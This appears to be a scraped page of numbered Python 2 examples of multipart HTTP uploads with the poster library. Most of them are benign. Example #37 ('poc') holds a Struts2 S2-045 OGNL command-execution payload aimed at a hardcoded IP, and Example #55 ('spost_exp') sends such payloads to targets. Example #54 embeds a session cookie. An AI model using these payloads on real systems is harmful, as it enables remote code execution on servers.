     datagen, re_headers = multipart_encode(body)
     request = urllib2.Request(http_url, datagen, re_headers)
     # 如果有请求头数据,则添加请求头
     for (key, value) in headersDict.items():
         request.add_header(key, value)
     result = urllib2.urlopen(request, timeout=60).read()
     return result
Example #36
0
def test002():
    url = "http://www.example.com"
    body_value = {"package": "com.tencent.lian","version_code": "66" }
    register_openers()
    datagen, re_headers = multipart_encode(body_value)
    request = urllib2.Request(url, datagen, re_headers)
    # 如果有请求头数据,则添加请求头
    #request.add_header(keys,headers[keys])
    result = urllib2.urlopen(request ).read()
Example #37
0
def poc():
    register_openers()
    datagen, header = multipart_encode({"image1": open(r"D:\1.jpg", "rb")})
    header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"
    #header["Content-Type"]="%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ipconfig').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
    header["Content-Type"] = 'multipart/form-data'
    request = urllib2.Request('http://47.93.49.248:82/icons/apache_pb.gif',datagen,headers=header)
    response = urllib2.urlopen(request)
    print response.read()
Example #38
0
def sendPhoto(chat_id, image_file):
    register_openers()
    values = {
        'chat_id': chat_id,
        'photo': open(image_file, 'rb')
    }
    data, headers = multipart_encode(values)
    request = urllib2.Request(URL + '/sendPhoto?', data, headers)
    response = urllib2.urlopen(request)
Example #39
0
def upload_and_savedb(dirpath, json_path_source, server_url, server_user,
                      server_password):
    # tar file
    bin_file = os.path.exists(os.path.join(dirpath, "binary"))
    if bin_file:
        shutil.rmtree(os.path.join(dirpath, "binary"))
    json_file = os.path.join(dirpath, "output", "results", "json")
    config_json = os.path.join(json_file, 'hardwareinfo.json')
    json_path = os.path.join(dirpath, os.path.basename(json_path_source))
    shutil.copyfile(json_path_source, json_path)
    output_file = dirpath + ".zip"
    json_output_file = dirpath + "_json.zip"
    if not os.path.exists(config_json):
        logging.info(
            'no hardwareinfo.json file, please run hardwareinfo benchmark and upload again.'
        )
        sys.exit()

    # upload
    register_openers()
    url = 'http://%s/data/cert?' % (server_url) + urlencode(
        {
            "userName": server_user,
            "password": server_password
        })
    login_upload = urllib2.Request(url)
    response = urllib2.urlopen(login_upload).read()
    logging.info(response)
    if response != 'success':
        logging.info('UAMS fail,please check your username and password')
        sys.exit()

    encryption(json_file, json_output_file, server_password)
    # # remove json dir
    shutil.copytree(json_file, os.path.join('/tmp', 'json'))
    shutil.rmtree(json_file)
    encryption(dirpath, output_file, server_password)
    shutil.copytree(os.path.join('/tmp', 'json'), json_file)
    shutil.rmtree(os.path.join('/tmp', 'json'))
    hash_output = calcHash(output_file)
    hash_log = calcHash(json_output_file)
    json_data = open(json_path, 'r')
    json_data = json_data.read()
    params = [
        ("output", open(output_file, 'rb')),
        ("log", open(json_output_file, 'rb')),
        ("username", server_user),
        ("result", json_data),
        ("hash_output", hash_output),
        ("hash_log", hash_log),
    ]
    datagen, headers = multipart_encode(params)
    request = urllib2.Request('http://%s/data/upload' % server_url, datagen,
                              headers)
    response = urllib2.urlopen(request, timeout=180).read()
    logging.info(response)
 def _testUpload(self):  # pylint: disable-msg=C6409
   register_openers()
   data = {'profile_data': self.profile_data,
           'board': 'x86-zgb',
           'chromeos_version': '2409.0.2012_06_08_1114'}
   datagen, headers = multipart_encode(data)
   request = urllib2.Request(SERVER_URL + 'upload', datagen, headers)
   response = urllib2.urlopen(request).read()
   self.assertTrue(response)
   return response
Example #41
0
 def access_url(self, url, params):
     """ 访问url """
     try:
         register_openers()
         params = json.dumps(params)
         req = urllib2.Request(url, data = params, headers = {"Content-Type": "application/json"})
         response = urllib2.urlopen(req)
         return response.read()
     except Exception, e:
         return str(e)
def qsub(num_nodes, job_id):
    register_openers()
    data = {
        'job_id': job_id,
        'type': "QSUB",
        'num_nodes': num_nodes,
        'test': args.test
    }
    print "Queuing test: %s" % args.test
    return post(data, JOB_QUEUE)
Example #43
0
 def upload(self, url, **file_form):
     # 文件上传,如果有open操作,请在with上下文环境中执行
     register_openers()
     datagen, headers = multipart_encode(file_form)
     request = urllib2.Request(url, datagen, headers)
     result = json.loads(urllib2.urlopen(request).read())
     errcode = result.get("errcode")
     if errcode and str(errcode) != "0":
         self.err_handler.dispatch_error(errcode)
     return result
Example #44
0
 def uploadfile(self, url, filepath, content_type="multipart/form-data"):
     register_openers()
     fi = open(filepath, "rb")
     datagen, headers = multipart_encode({'file': fi})
     request = urllib2.Request(url, datagen, headers)
     if self.headers:
         request = self.setReqHeader(request, self.headers)
     response = urllib2.urlopen(request)
     #response = self.opener.open(request)
     return response
Example #45
0
 def http_post_json(self, http_url, body, headersDict):
     register_openers()
     body_value = json.dumps(body)
     request = urllib2.Request(http_url, body_value)
     # headers = {'Content-Type': 'application/json'}
     request.add_header('Content-Type', 'application/json')
     for (key, value) in headersDict.items():
         request.add_header(key, value)
     result = urllib2.urlopen(request).read()
     return result
def post_multipart(url, parameters={}):
    """
    Do a HTTP POST request encoded as multipart/form-data and return file-like
    response object.
    """
    register_openers()
    datagen, headers = multipart_encode(parameters)
    request = urllib2.Request(POST_URL, datagen, headers)
    response = urllib2.urlopen(request)
    return response
Example #47
0
def send_post_request(post_url, req_json):
    register_openers()
    headers = {'Content-Type': 'application/json'}
    req_json = json.dumps(req_json)

    req = urllib2.Request(url=post_url, headers=headers, data=req_json)

    res = urllib2.urlopen(req).read()

    return res
    def uploadToFile(self, document, uri):
        register_openers()
        values = {'filename': open(document)}
        data, headers = multipart_encode(values)
        #add our headers
        headers['Authorization'] = 'OAuth2 ' + self.tokenStore.getAccessToken()

        request = urllib2.Request(uri, data, headers)
        request.unverifiable = True
        urllib2.urlopen(request)
Example #49
0
def xiezhua(xiezhua_id, status, source, type):
    reload(sys)
    sys.setdefaultencoding('utf-8')
    if type == 'talk':
        status = status.decode('utf-8').encode('gbk')
        source = source.decode('utf-8').encode('gbk')
        type = type.decode('utf-8').encode('gbk')
        data = {'status': status, 'source': source, 'status_type': type}
        data = urllib.urlencode(data)

        headers = 'Basic' + ' ' + xiezhua_id.encode('base64')[:-1]
        headers = {'Authorization': headers}
        url = 'http://weilairiji.com/api/statuses/update.xml'

        req = urllib2.Request(url, data=data, headers=headers)
        try:
            f = urllib2.urlopen(req)
            d = f.getcode()
            if d == 200:
                c = f.read()
                f.close()
                return d, c
            else:
                f.close()
                return d, 'fail'
        except urllib2.HTTPError:
            return 0, 0

    if type == 'photo':
        register_openers()
        source = source.decode('utf-8').encode('gbk')
        type = type.decode('utf-8').encode('gbk')
        status = open('picture/1.jpg', 'rb')
        values = {'status': status, 'source': source, 'status_type': type}
        data, headers = multipart_encode(values)

        Authorization = 'Basic' + ' ' + xiezhua_id.encode('base64')[:-1]
        headers.update({'Authorization': Authorization})

        url = 'http://weilairiji.com/api/statuses/update.xml'

        req = urllib2.Request(url, data=data, headers=headers)
        try:
            f = urllib2.urlopen(req)
            d = f.getcode()
            if d == 200:
                c = f.read()
                f.close()
                print d, c
            else:
                c = f.read()
                f.close()
                print d, c
        except urllib2.HTTPError:
            print 0, 0
Example #50
0
def request_with_file(url, req):
    register_openers()
    datagen, re_headers = multipart_encode(req)
    request = urllib2.Request(url, datagen, re_headers)
    # 如果有请求头数据,则添加请求头
    result = urllib2.urlopen(request).read()
    json_data = json.loads(result)
    return json_data


# insert_import_list('http://192.168.1.93:8082', 'sms',"F:\\autotest_project\\ruby_data\\llbxInterface\\autotest.xlsx")
Example #51
0
 def media_upload(self, access_token, media_name, media_type):
     from poster.encode import multipart_encode
     from poster.streaminghttp import register_openers
     register_openers()
     datagen, headers = multipart_encode({"file1": open(media_name, "rb")})
     URL = 'https://qyapi.weixin.qq.com/cgi-bin/media/upload?access_token=%s&type=%s' % (
         access_token, media_type)
     request = urllib2.Request(URL, datagen, headers)
     ret_json = urllib2.urlopen(request).read()
     ret_dict = simplejson.loads(ret_json)
     return ret_dict
Example #52
0
    def _upload_file(self, upload_file, parent, precheck):
        remote_id = None
        if precheck is True:
            remote_id = self._check_file_on_server(upload_file, parent)
            if remote_id is True:
                logger.debug(u"skip uploading file: {}".format(upload_file))
                return
        elif precheck:
            remote_id = precheck

        url = self.UPLOAD_URL.format(("/" + remote_id) if remote_id else "")
        logger.debug(u"uploading {} to {}".format(upload_file, parent))

        # Register the streaming http handlers with urllib2
        register_openers()
        upload_file = encode(upload_file)
        # add "If-Match: ETAG_OF_ORIGINAL" for file's new version?
        datagen, headers = multipart_encode({
            'filename': open(upload_file),
            'parent_id': parent
        })

        class DataWrapper(object):
            """Fix filename encoding problem"""
            def __init__(self, filename, datagen, headers):
                header_data = []
                while True:
                    data = datagen.next()

                    if BoxApi.FILENAME_PATTERN.search(data):
                        length = int(headers['Content-Length']) - len(data)
                        filename = os.path.basename(filename)
                        data = BoxApi.FILENAME_PATTERN.sub(
                            "\g<1>" + filename + "\\3", data)
                        headers['Content-Length'] = str(length + len(data))
                        header_data.insert(0, data)
                        break
                    else:
                        header_data.insert(0, data)

                self.datagen = datagen
                self.header_data = header_data

            def __iter__(self):
                return self

            def next(self):
                if self.header_data:
                    return self.header_data.pop()
                else:
                    return self.datagen.next()

        datagen = DataWrapper(upload_file, datagen, headers)
        return self._request(url, datagen, headers)
def http_upload(url, data):
    # 在urllib2上注册http流处理句炳
    register_openers()
    # datagen 是一个生成器对象,返回编码过后的参数
    datagen, headers = multipart_encode(data)
    request = urllib2.Request(url, datagen, headers)

    try:
        response = urllib2.urlopen(request, timeout=10)
    except urllib2.URLError, e:
        logger.error(e)
Example #54
0
 def extractWords(self, filePath):
     # print "extracting word from :",filePath
     default_inputfile = filePath
     datagen, headers = multipart_encode(
         {"imageFile": open(default_inputfile, "rb")})
     headers['Host'] = 'aligreen.alibaba.com'
     headers['Connection'] = 'keep-alive'
     headers['Accept'] = 'application/json, text/javascript, */*; q=0.01'
     headers['Origin'] = 'http://aligreen.alibaba.com'
     headers['X-Requested-With'] = 'XMLHttpRequest'
     headers['Accept-Encoding'] = 'gzip, deflate'
     headers['Accept-Language'] = 'zh-CN,zh;q=0.8'
     headers[
         'Cookie'] = 'cna=6c9rEM7A8W0CAbeB2ukCuutX; l=AmtrPA8gwLaNmLmcW7nvXzBMe4VXhn8C; isg=Am9vM74Oa-OMeG_fwI48Af5s_oMVAuQaV5JRi4H-DV7l0I7SieBphhXGJHeU'
     headers[
         'User-Agent'] = 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36'
     register_openers()
     request = urllib2.Request(
         "http://aligreen.alibaba.com/rpc/image/upload_image.json", datagen,
         headers)
     upload_result = urllib2.urlopen(request).read()
     print upload_result
     tempdict = json.loads(upload_result)
     try:
         imageurl = tempdict['imageUploadResultList'][0]['imageUrl']
     except:
         pass
     else:
         detection_url = 'http://aligreen.alibaba.com/rpc/image/detect.json'
         payload = {'imageUrls[]': imageurl, 'scene': 'ocr'}
         headers = {
             'Host': 'aligreen.alibaba.com',
             'Content-Type':
             'application/x-www-form-urlencoded; charset=UTF-8',
             'Content-Length': '2'
         }
         r = requests.post(detection_url, data=payload)
         #print r.text
         try:
             sentence = json.loads(r.text)[0]['images'][0]['ocr']['text'][0]
         except:
             return set([])
         temp = '/'.join(jieba.cut(sentence))
         words = temp.split("/"), type(temp.split("/"))
         final_list = []
         for i in words[0]:
             if len(i) <= 1:
                 continue
             if i in final_list:
                 continue
             final_list.append(i)
         print "type of final >> ", type(final_list)
         print "final_list >> ", final_list
         return set(final_list)
Example #55
0
 def spost_exp(self, ck_url):
     """post payload"""
     # print self.header
     try:
         register_openers()
         request_s2_045 = urllib2.Request(ck_url, self.datagen, self.header)
         response_s2_045 = urllib2.urlopen(request_s2_045, timeout=5)
         res = response_s2_045.read()
         self.ensure(res, ck_url)
     except:
         print "error--->" + ck_url
Example #56
0
File: app.py Project: ufcg-lsd/SCO
def _create_cluster_components(id, volume_size, dockerfile, package, instances, mem, port):
    global cluster_port
    global server_pointer
    register_openers()

    for node in available_nodes:
        if node.get_ip() != "localhost":
            url = 'http://' + node.get_ip() + ":5001/build"
            package_filename = merger.get_short_filename_from_package(package)
            form_data = {'image_id' : id, 'dockerfile' : dockerfile, 'data': open(dockerfile_dir + '/' + package_filename)}
            datagen, headers = multipart_encode(form_data)
#            request = urllib2.Request(url, datagen, headers)
            build_agent = BuildAgent(form_data, url)
            build_agent.start()
            
#            response = urllib2.urlopen(request)
#            result = response.read()
    build_agent.join()
    print "[DEBUG] join completed"
    add_cluster_frontend_to_main_load_balancer(cluster_port, id)
    cluster_port += 1
    print "[DEBUG] dockerfile dir is  " +  dockerfile_dir
    if "localhost" in [node.get_ip() for node in available_nodes]:
        if not docker.build('-t', id, dockerfile_dir):
            print("[ERROR] build unsuccessfull")
            return None
    print("[LOG] image built")
    success = True
    volume_created = _create_volume(id, volume_size)
    if not volume_created:
        print("[ERROR] volume not created")
        return
    print(volume_created)
    network_created = docker.create_network('--subnet=' + ip_strings.get_current_network() + "/16", id)
    if not network_created:
        print("[ERROR] network not created")
        return
    count = 0
    container_locations = {}
    #TODO: Move instantiation to a different module
    for i in range(instances):
        container_location = _create_instance(id, mem, port, available_nodes_ips[count])
        container_locations.update(container_location)
        if count == len(available_nodes) - 1:
            count = 0
        else:
            count += 1
    if not success:
        print("[ERROR] instances not created")
        return None
    else:
        print("[LOG] instances created")
	return container_locations
Example #57
0
 def send_request(self, url, header, data):
     # Register the streaming http handlers with urllib2
     register_openers()
     # headers contains the necessary Content-Type and Content-Length
     # datagen is a generator object that yields the encoded parameters
     headers = {'Content-Type': 'application/xml'}
     # Create the Request object
     request = urllib2.Request(self.ip + url, data, headers)
     # Actually do the request, and get the response
     result = urllib2.urlopen(request).read()
     print result
     return result
Example #58
0
def upload(upload_url,params,filename):
    ##opener = poster.streaminghttp.register_openers()
    #opener.add_handler(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
    #params = {'file': open("sysinfo.asp", "rb"), 'name': 'NewFile'}
    #datagen, headers = poster.encode.multipart_encode(params)
    #request = urllib2.Request(upload_url, datagen, headers)
    #result = urllib2.urlopen(request)
    register_openers()
    datagen, headers = multipart_encode({params: open(filename, "rb")})
    request = urllib2.Request(upload_url, datagen, headers)
    resp= urllib2.urlopen(request).read()
    return resp
Example #59
0
def uploadShpFile(fpath):
    if not os.path.exists(fpath):
        return None

    try:
        filename = os.path.splitext(fpath)[0]

        layername = uuid.uuid4()
        dirname = os.path.dirname(filename)
        newfilename = '%s\\%s' % (dirname, layername)

        zfpath = '%s%s' % (newfilename, '.zip')

        zf = zipfile.ZipFile(zfpath, 'w')
        zf.write(fpath, ('%sshp' % layername))

        for fext in getShpExt():
            fname = '%s%s' % (filename, fext)
            if os.path.exists(fname):
                zf.write(fname, ('%s%s' % (layername, fext)))
        zf.close()

        register_openers()
        f = open(zfpath, "rb")
        datagen, headers = multipart_encode({"vector": f,
                                             "name": "ssy",
                                             "vector_desc": "ssytest",
                                             "scale": "5w",
                                             "charset": "GBK",
                                             "product_time": time.time(),
                                             "type": "SHP",
                                             "ref_srs": "EPSG:4326"
                                             })

        url = 'http://%s%s' % (config.SHP_SERVER_HOST,
                               config.SHP_SERVER_UPLOAD_URL)
        req = urllib2.Request(url, datagen, headers)

        message = urllib2.urlopen(req).read()
        message = json.loads(message)
        dataid = message['uuid']
        return dataid
    except:
        print traceback.format_exc()
        # config.Log.info(traceback.format_exc())
        # config.Log.info('upload shp file error.')
        # return None
    finally:
        if zf:
            zf.close()
        if zfpath and os.path.exists(zfpath):
            f.close()
            os.remove(zfpath)
Example #60
0
    def MultiPartPost(cls, url, data, file_name):
        from poster.encode import multipart_encode
        from poster.encode import MultipartParam
        from poster.streaminghttp import register_openers

        register_openers()
        if hasattr(data, 'read'):
            p = MultipartParam("file", fileobj=data, filename=file_name)
        else:
            p = MultipartParam("file", value=data, filename=file_name)
        datagen, headers = multipart_encode([p])
        return cls.request(url, datagen, headers)